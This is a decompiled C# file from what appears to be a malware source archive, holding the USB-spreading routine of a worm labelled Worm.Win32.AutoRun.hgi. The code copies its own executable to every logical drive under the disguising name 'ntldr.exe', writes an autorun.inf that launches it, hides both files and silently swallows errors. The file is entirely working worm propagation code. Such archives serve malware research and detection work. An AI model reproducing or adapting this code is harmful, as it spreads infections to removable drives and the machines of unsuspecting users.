MalwareSourceCode/MSIL/Worm/Win32/A/Worm.Win32.AutoRun.hgi-f7f655882362e3de6b26b28c84c129a11a52fb9cd813ce2911fb258b72766e44/usb.cs

// Decompiled with JetBrains decompiler
// Type: BCV5StuB.usb
// Assembly: Windows, Version=7.8.9.10, Culture=neutral, PublicKeyToken=null
// MVID: 9F0D14B2-64CD-49F4-8243-2271113E9FED
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.AutoRun.hgi-f7f655882362e3de6b26b28c84c129a11a52fb9cd813ce2911fb258b72766e44.exe

using BCV5StuB.My;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
using System.Reflection;

namespace BCV5StuB
{
  [StandardModule]
  internal sealed class usb
  {
    public static void usb_sp()
    {
      string programFiles = MyProject.Computer.FileSystem.SpecialDirectories.ProgramFiles;
      string[] logicalDrives = Directory.GetLogicalDrives();
      int index = 0;
      while (index < logicalDrives.Length)
      {
        string str = logicalDrives[index];
        try
        {
          if (!File.Exists(str + "ntldr.exe"))
            File.Copy(Assembly.GetExecutingAssembly().Location, str + "ntldr.exe");
          StreamWriter streamWriter = new StreamWriter(str + "autorun.inf");
          streamWriter.WriteLine("[autorun]");
          streamWriter.WriteLine("open=ntldr.exe");
          streamWriter.WriteLine("shellexecute=ntldr.exe");
          streamWriter.Close();
          File.SetAttributes(str + "autorun.inf", FileAttributes.Hidden);
          File.SetAttributes(str + "ntldr.exe", FileAttributes.Hidden);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
        checked { ++index; }
      }
    }
  }
}